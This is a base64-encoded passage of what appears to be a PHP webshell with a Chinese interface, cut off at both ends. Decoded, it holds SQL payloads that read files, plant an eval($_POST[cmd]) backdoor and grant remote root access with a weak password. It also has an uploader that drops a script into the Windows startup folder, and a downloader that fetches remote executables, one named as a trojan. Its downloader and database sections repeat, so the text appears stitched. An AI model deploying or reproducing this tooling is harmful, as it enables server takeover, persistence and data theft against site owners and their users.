aSl7CglTdHIgPSBuZXcgQXJyYXkoMTEpOwoJU3RyWzBdID0gInNlbGVjdCB2ZXJzaW9uKCk7IjsKCVN0clsxXSA9ICJzZWxlY3QgbG9hZF9maWxlKDB4NjMzQTVDNUM3NzY5NkU2NDZGNzc3MzVDNzM3OTczNzQ2NTZEMzMzMjVDNUM2OTZFNjU3NDczNzI3NjVDNUM2RDY1NzQ2MTYyNjE3MzY1MkU3ODZENkMpIEZST00gdXNlciBpbnRvIGR1bXBmaWxlICdEOi93ZWIvaWlzLnR4dCciOwoJU3RyWzJdID0gInNlbGVjdCAnIGV2YWwoXCRfUE9TVFtjbWRdKTsnIGludG8gZHVtcGZpbGUgJ0Y6L3dlYi9iYWsucGhwJzsiOwoJU3RyWzNdID0gIkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OICouKiBUTyAncm9vdCdAJyUnIElERU5USUZJRUQgQlkgJzEyMzQ1NicgV0lUSCBHUkFOVCBPUFRJT047IjsKCW5mb3JtLm1zcWwudmFsdWUgPSBTdHJbaV07CglyZXR1cm4gdHJ1ZTsKfQpFTkQ7CiAgICAgICAgaHRtbF9iYXNlKCk7CiAgICAgICAgcHJpbnQ8PDxFTkQKZnVuY3Rpb24gU3VibWl0VXJsKCl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtc3FsJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21zcWwnKS52YWx1ZSk7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im5mb3JtIiBpZD0ibmZvcm0iPgo8Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP3dlYnNpdGVfPXNxbHNoZWxsIj5bTVlTUUzWtNDQ0+++5F08L2E+CjxhIGhyZWY9Ij93ZWJzaXRlXz1zcWxzaGVsbCZvPXUiPltNWVNRTMnPtKvOxLz+XTwvYT4KPGEgaHJlZj0iP3dlYnNpdGVfPXNxbHNoZWxsJm89ZCI+W01ZU1FMz8LU2M7EvP5dPC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPgq12Na3IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtaG9zdCIgdmFsdWU9InskbWhvc3R9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgrTw7unIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdXNlciIgdmFsdWU9InskbXVzZXJ9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgrD3MLrIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcGFzcyIgdmFsdWU9InskbXBhc3N9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjIyMHB4OyI+CkVORDsKICAgICAgICBpZiAoJG8gPT0gJ3UnKSB7CiAgICAgICAgICAgICR1cHBhdGggPSAnQzovRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy9BbGwgVXNlcnMvobi/qsq8obmyy7WlL7PM0PIvxvS2ry9leHAudmJzJzsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3VwcGF0aCddKSkgewogICAgICAgICAgICAgICAgJHVwcGF0aCA9ICRfUE9TVFsndXBwYXRoJ107CiAgICAgICAgICAgICAgICAkcXVlcnkgPSAnQ3JlYXRlIFRBQkxFIGEgKGNtZCB0ZXh0IE5PVCBOVUxMKTsnOwogICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdG1wY29kZSA9IEZpbGVfUmVhZCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcGNvZGUpKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gRmlsZV9TdHIoZGlybmFtZShteWFkZHJlc3MpKSAuICcvdXBmaWxlLnRtcCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGaWxlX1VwKCRfRklMRVNbJ3VwZmlsZSddWyd0bXBfbmFtZSddLCAkdG1wKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnSW5zZXJ0IElOVE8gYSAoY21kKSBWQUxVRVMoQ09OVkVSVCgweCcgLiAkZmlsZWNvZGUgLiAnLENIQVIpKTsnOwogICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxpX3F1ZXJ5KCRjb25uLCRxdWVyeSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NFTEVDVCBjbWQgRlJPTSBhIElOVE8gRFVNUEZJTEUgXCcnIC4gJHVwcGF0aCAuICdcJzsnOwogICAgICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSA/ICfJz7SrzsS8/rPJuaYnIDogJ8nPtKvOxLz+yqew3Cc7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7LlyOvB2cqxse3Kp7DcJzsKICAgICAgICAgICAgICAgICAgICBAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEcm9wIFRBQkxFIElGIEVYSVNUUyBhOycpOwogICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7S0vajB2cqxse3Kp7DcJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludDw8PEVORAo8YnI+PGJyPsnPtKvCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cHBhdGgiIHZhbHVlPSJ7JHVwcGF0aH0iIHN0eWxlPSJ3aWR0aDo1MDBweCI+Cjxicj48YnI+0aHU8c7EvP4gPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwZmlsZSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDoyMnB4OyI+CjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+CkVORDsKICAgICAgICB9IGVsc2VpZiAoJG8gPT0gJ2QnKSB7CiAgICAgICAgICAgIHByaW50PDw8RU5ECjxicj48YnI+PGJyPs/C1NjOxLz+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb3duZmlsZSIgdmFsdWU9InskZG93bmZpbGV9IiBzdHlsZT0id2lkdGg6NTAwcHgiPgo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLPwtTYIiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ21zcWwnXSkpIHsKICAgICAgICAgICAgICAgICRtc3FsID0gJF9QT1NUWydtc3FsJ107CiAgICAgICAgICAgICAgICAkbXNxbCA9IGJhc2U2NF9kZWNvZGUoJG1zcWwpOwogICAgICAgICAgICAgICAgaWYgKCRyZXN1bHQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkbXNxbCkpIHsKICAgICAgICAgICAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgICAgICAgICAgICRNU0dfQk9YIC49ICI8dGFibGUgYm9yZGVyPScxJz4iOwogICAgICAgICAgICAgICAgICAgICRrZXkgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGNvdW50ID09IDApewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjx0cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGogPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkX2tleSA9PiAkX3ZhbHVlKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAyICE9IDApewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCAuPSAiPHRoPiRfa2V5PC90aD4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2V5WyRqXSA9ICRfa2V5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaisrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjwvdHI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjx0cj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8PSBjb3VudCgka2V5KS0xOyRpKyspewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjx0ZD4iLiRyb3dbJGtleVskaV1dLiI8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICRNU0dfQk9YIC49ICI8L3RyPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRNU0dfQk9YIC49ICI8L3RhYmxlPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggLj0gbXlzcWxpX2Vycm9yKCRjb25uKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludDw8PEVORAo8dGV4dGFyZWEgbmFtZT0ibXNxbCIgaWQ9Im1zcWwiIHN0eWxlPSJ3aWR0aDo3MDBweDtoZWlnaHQ6MjAwcHg7Ij57JG1zcWx9PC90ZXh0YXJlYT48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj4KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG5GdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4KCTxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPs/Uyr6w5rG+PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSIxIj61vLP2zsS8/jwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iMiI+0LTI687EvP48L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjMiPr+qxvTN4sGsPC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i1rTQ0CIgb25jbGljaz0iU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7CiAgICAgICAgfQogICAgICAgIGlmICgkTVNHX0JPWCAhPSAnJykgZWNobyAnPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4nIC4gJE1TR19CT1ggLiAnPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7CiAgICAgICAgZWxzZSBlY2hvICc8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJkb3dubG9hZGVyIjoKICAgICAgICAkQ29tX2R1cmwgPSBpc3NldCgkX1BPU1RbJ2R1cmwnXSkgPyAkX1BPU1RbJ2R1cmwnXSA6ICdodHRwOi8vZXhhbXBsZS5jb20vZmlsZS5leGUnOwogICAgICAgICRDb21fZHBhdGggPSBpc3NldCgkX1BPU1RbJ2RwYXRoJ10pID8gJF9QT1NUWydkcGF0aCddIDogRmlsZV9TdHIoZGlybmFtZShteWFkZHJlc3MpIC4gJy9maWxlLmV4ZScpOwogICAgICAgIHByaW50PDw8RU5ECgk8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj6zrMGsvdMgPGlucHV0IG5hbWU9ImR1cmwiIHZhbHVlPSJ7JENvbV9kdXJsfSIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJhY3RhbGwiPs/C1Ni1vSA8aW5wdXQgbmFtZT0iZHBhdGgiIHZhbHVlPSJ7JENvbV9kcGF0aH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdmFsdWU9Is/C1NgiIHR5cGU9InN1Ym1pdCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+CkVORDsKICAgICAgICBpZiAoKCFlbXB0eSgkX1BPU1RbJ2R1cmwnXSkpICYmICghZW1wdHkoJF9QT1NUWydkcGF0aCddKSkpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgICAgICAkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydkdXJsJ10pOwogICAgICAgICAgICBpZiAoISRjb250ZW50cykgZWNobyAnzt63qLbByKHSqs/C1Ni1xMr9vt0nOwogICAgICAgICAgICBlbHNlIGVjaG8gRmlsZV9Xcml0ZSgkX1BPU1RbJ2RwYXRoJ10sICRjb250ZW50cywgJ3diJykgPyAnz8LU2M7EvP6zybmmJyA6ICfPwtTYzsS8/sqnsNwnOwogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICBjYXNlICJpc3NxbCI6CiAgICAgICAgaWYgKCRfUE9TVFsnc3FsdXNlciddICYmICRfUE9TVFsnc3FscGFzcyddKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnc3FsX3VzZXInXSA9ICRfUE9TVFsnc3FsdXNlciddOwogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddID0gJF9QT1NUWydzcWxwYXNzJ107CiAgICAgICAgfQogICAgICAgIGlmICgkX1BPU1RbJ3NxbGhvc3QnXSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9ob3N0J10gPSAkX1BPU1RbJ3NxbGhvc3QnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9ob3N0J10gPSAnbG9jYWxob3N0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCRfUE9TVFsnc3FscG9ydCddKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnc3FsX3BvcnQnXSA9ICRfUE9TVFsnc3FscG9ydCddOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnc3FsX3BvcnQnXSA9ICczMzA2JzsKICAgICAgICB9CiAgICAgICAgaWYgKCRfU0VTU0lPTlsnc3FsX3VzZXInXSAmJiAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddKSB7CiAgICAgICAgICAgIGlmICghKCRzcWxjb24gPSBAbXlzcWxpX2Nvbm5lY3QoJF9TRVNTSU9OWydzcWxfaG9zdCddIC4gJzonIC4gJF9TRVNTSU9OWydzcWxfcG9ydCddLCAkX1NFU1NJT05bJ3NxbF91c2VyJ10sICRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10pKSkgewogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydzcWxfdXNlciddLCAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddLCAkX1NFU1NJT05bJ3NxbF9ob3N0J10sICRfU0VTU0lPTlsnc3FsX3BvcnQnXSk7CiAgICAgICAgICAgICAgICBkaWUoaHRtbF9hKCc/d2Vic2l0ZV89c3Fsc2hlbGwnLCAnway908qnsNzH67e1u9gnKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBkaWUoaHRtbF9hKCc/d2Vic2l0ZV89c3Fsc2hlbGwnLCAnway908qnsNzH67e1u9gnKSk7CiAgICAgICAgfQogICAgICAgICRxdWVyeSA9IG15c3FsaV9xdWVyeSgkc3FsY29uLCAiU0hPVyBEQVRBQkFTRVMiKTsKICAgICAgICBodG1sX24oJzx0cj48dGQ+yv2+3b/iwdCx7TonKTsKICAgICAgICB3aGlsZSAoJGRiID0gbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKICAgICAgICAgICAgaHRtbF9hKCc/d2Vic2l0ZV89aXNzcWwmZGI9JyAuICRkYlsnRGF0YWJhc2UnXSwgJGRiWydEYXRhYmFzZSddKTsKICAgICAgICAgICAgZWNobyAnJm5ic3A7Jm5ic3A7JzsKICAgICAgICB9CiAgICAgICAgaHRtbF9uKCc8L3RkPjwvdHI+Jyk7CiAgICAgICAgaWYgKCRfR0VUWydkYiddKSB7CiAgICAgICAgICAgIGNzc19qcygiMyIpOwogICAgICAgICAgICBteXNxbGlfc2VsZWN0X2RiKCRzcWxjb24sICRfR0VUWydkYiddKTsKICAgICAgICAgICAgaHRtbF9uKCc8dHI+PHRkPjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iRGJGb3JtIj48dGV4dGFyZWEgbmFtZT0ic3FsIiBDT0xTPSI4MCIgUk9XUz0iMyI+JyAuICRfUE9TVFsnc3FsJ10gLiAnPC90ZXh0YXJlYT48YnI+Jyk7CiAgICAgICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KDAgPT4gIi0tU1FM0++3qC0tIiwgNyA9PiAizO2808r9vt0iLCA4ID0+ICLJvrP9yv2+3SIsIDkgPT4gItDeuMTK/b7dIiwgMTAgPT4gIr2oyv2+3bHtIiwgMTEgPT4gIsm+yv2+3bHtIiwgMTIgPT4gIsztvNPX1rbOIiwgMTMgPT4gIsm+s/3X1rbOIiksIDAsICJvbmNoYW5nZT0ncmV0dXJuIEZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknIik7CiAgICAgICAgICAgIGh0bWxfaW5wdXQoInN1Ym1pdCIsICJkb3F1ZXJ5IiwgIta00NAiKTsKICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89aXNzcWwmZGI9IiAuICRfR0VUWydkYiddLCAkX0dFVFsnZGInXSk7CiAgICAgICAgICAgIGh0bWxfbignLS0tPicpOwogICAgICAgICAgICBodG1sX2EoIj93ZWJzaXRlXz1pc3NxbCZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkX0dFVFsndGFibGUnXSwgJF9HRVRbJ3RhYmxlJ10pOwogICAgICAgICAgICBodG1sX24oJzwvZm9ybT48YnI+Jyk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWwnXSkpIHsKICAgICAgICAgICAgICAgIGlmIChAbXlzcWxpX3F1ZXJ5KCRzcWxjb24sICRfUE9TVFsnc3FsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAi1rTQ0FNRTNPvvuSzybmmIjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAis/a07TogIiAuIG15c3FsaV9lcnJvcigkc3FsY29uKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9HRVRbJ3RhYmxlJ10pIHsKICAgICAgICAgICAgICAgIGh0bWxfbignPHRhYmxlIGJvcmRlcj0xPjx0cj4nKTsKICAgICAgICAgICAgICAgICRxdWVyeSA9ICJTSE9XIENPTFVNTlMgRlJPTSAiIC4gJF9HRVRbJ3RhYmxlJ107CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRzcWxjb24sJHF1ZXJ5KTsKICAgICAgICAgICAgICAgICRmaWVsZHMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWVsZHMsICRyb3dbJ0ZpZWxkJ10pOwogICAgICAgICAgICAgICAgICAgIGh0bWxfbignPHRkPjxmb250IGNvbG9yPSNGRkZGNDQ+JyAuICRyb3dbJ0ZpZWxkJ10gLiAnPC9mb250PjwvdGQ+Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdHI+PHRyPicpOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSggJHNxbGNvbiwiU0VMRUNUICogRlJPTSAiIC4gJF9HRVRbJ3RhYmxlJ10pIG9yIGRpZShteXNxbGlfZXJyb3IoJHNxbGNvbikpOwogICAgICAgICAgICAgICAgd2hpbGUgKCR0ZXh0ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWVsZHMgYXMgJHJvdykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRleHRbJHJvd10gPT0gIiIpICR0ZXh0WyRyb3ddID0gJ05VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICBodG1sX24oJzx0ZD4nIC4gJHRleHRbJHJvd10gLiAnPC90ZD4nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIlNIT1cgVEFCTEVTIEZST00gIiAuICRfR0VUWydkYiddOwogICAgICAgICAgICAgICAgJGRhdCA9IG15c3FsaV9xdWVyeSgkc3FsY29uLCAkcXVlcnkpIG9yIGRpZShteXNxbGlfZXJyb3IoJHNxbGNvbikpOwogICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRkYXQpKSB7CiAgICAgICAgICAgICAgICAgICAgaHRtbF9uKCI8dHI+PHRkPjxhIGhyZWY9Jz93ZWJzaXRlXz1pc3NxbCZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkcm93WzBdIC4gIic+IiAuICRyb3dbMF0gLiAiPC9hPjwvdGQ+PC90cj4iKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICBjYXNlICJkb3dubG9hZGVyIjoKICAgICAgICAkQ29tX2R1cmwgPSBpc3NldCgkX1BPU1RbJ2R1cmwnXSkgPyAkX1BPU1RbJ2R1cmwnXSA6ICdodHRwOi8vd3d3LmJhaWR1LmNvbS9kb3duL211bWEuZXhlJzsKICAgICAgICAkQ29tX2RwYXRoID0gaXNzZXQoJF9QT1NUWydkcGF0aCddKSA/ICRfUE9TVFsnZHBhdGgnXSA6IEZpbGVfU3RyKGRpcm5hbWUobXlhZGRyZXNzKSAuICcvbXVtYS5leGUnKTsKICAgICAgICBwcmludDw8PEVORAoJPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+s6zBrL3TIDxpbnB1dCBuYW1lPSJkdXJsIiB2YWx1ZT0ieyRDb21fZHVybH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj7PwtTYtb0gPGlucHV0IG5hbWU9ImRwYXRoIiB2YWx1ZT0ieyRDb21fZHBhdGh9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHZhbHVlPSLPwtTYIiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPgpFTkQ7CiAgICAgICAgaWYgKCghZW1wdHkoJF9QT1NUWydkdXJsJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZHBhdGgnXSkpKSB7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKICAgICAgICAgICAgJGNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsnZHVybCddKTsKICAgICAgICAgICAgaWYgKCEkY29udGVudHMpIGVjaG8gJ87et6i2wcih0qrPwtTYtcTK/b7dJzsKICAgICAgICAgICAgZWxzZSBlY2hvIEZpbGVfV3JpdGUoJF9QT1NUWydkcGF0aCddLCAkY29udGVudHMsICd3YicpID8gJ8/C1NjOxLz+s8m5picgOiAnz8LU2M7EvP7Kp7DcJzsKICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAiaXNzcWwiOgogICAgICAgIGlmICgkX1BPU1RbJ3NxbHVzZXInXSAmJiAkX1BPU1RbJ3NxbHBhc3MnXSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF91c2VyJ10gPSAkX1BPU1RbJ3NxbHVzZXInXTsKICAgICAgICAgICAgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSA9ICRfUE9TVFsnc3FscGFzcyddOwogICAgICAgIH0KICAgICAgICBpZiAoJF9QT1NUWydzcWxob3N0J10pIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydzcWxfaG9zdCddID0gJF9QT1NUWydzcWxob3N0J107CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydzcWxfaG9zdCddID0gJ2xvY2FsaG9zdCc7CiAgICAgICAgfQogICAgICAgIGlmICgkX1BPU1RbJ3NxbHBvcnQnXSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9wb3J0J10gPSAkX1BPU1RbJ3NxbHBvcnQnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9wb3J0J10gPSAnMzMwNic7CiAgICAgICAgfQogICAgICAgIGlmICgkX1NFU1NJT05bJ3NxbF91c2VyJ10gJiYgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSkgewogICAgICAgICAgICBpZiAoISgkc3FsY29uID0gQG15c3FsaV9jb25uZWN0KCRfU0VTU0lPTlsnc3FsX2hvc3QnXSAuICc6JyAuICRfU0VTU0lPTlsnc3FsX3BvcnQnXSwgJF9TRVNTSU9OWydzcWxfdXNlciddLCAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddKSkpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnc3FsX3VzZXInXSwgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSwgJF9TRVNTSU9OWydzcWxfaG9zdCddLCAkX1NFU1NJT05bJ3NxbF9wb3J0J10pOwogICAgICAgICAgICAgICAgZGllKGh0bWxfYSgnP3dlYnNpdGVfPXNxbHNoZWxsJywgJ8GsvdPKp7Dcx+u3tbvYJykpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZGllKGh0bWxfYSgnP3dlYnNpdGVfPXNxbHNoZWxsJywgJ8GsvdPKp7Dcx+u3tbvYJykpOwogICAgICAgIH0KICAgICAgICAkcXVlcnkgPSBteXNxbGlfcXVlcnkoJHNxbGNvbiwgIlNIT1cgREFUQUJBU0VTIik7CiAgICAgICAgaHRtbF9uKCc8dHI+PHRkPsr9vt2/4sHQse06Jyk7CiAgICAgICAgd2hpbGUgKCRkYiA9IG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CiAgICAgICAgICAgIGh0bWxfYSgnP3dlYnNpdGVfPWlzc3FsJmRiPScgLiAkZGJbJ0RhdGFiYXNlJ10sICRkYlsnRGF0YWJhc2UnXSk7CiAgICAgICAgICAgIGVjaG8gJyZuYnNwOyZuYnNwOyc7CiAgICAgICAgfQogICAgICAgIGh0bWxfbignPC90ZD48L3RyPicpOwogICAgICAgIGlmICgkX0dFVFsnZGInXSkgewogICAgICAgICAgICBjc3NfanMoIjMiKTsKICAgICAgICAgICAgbXlzcWxpX3NlbGVjdF9kYigkc3FsY29uLC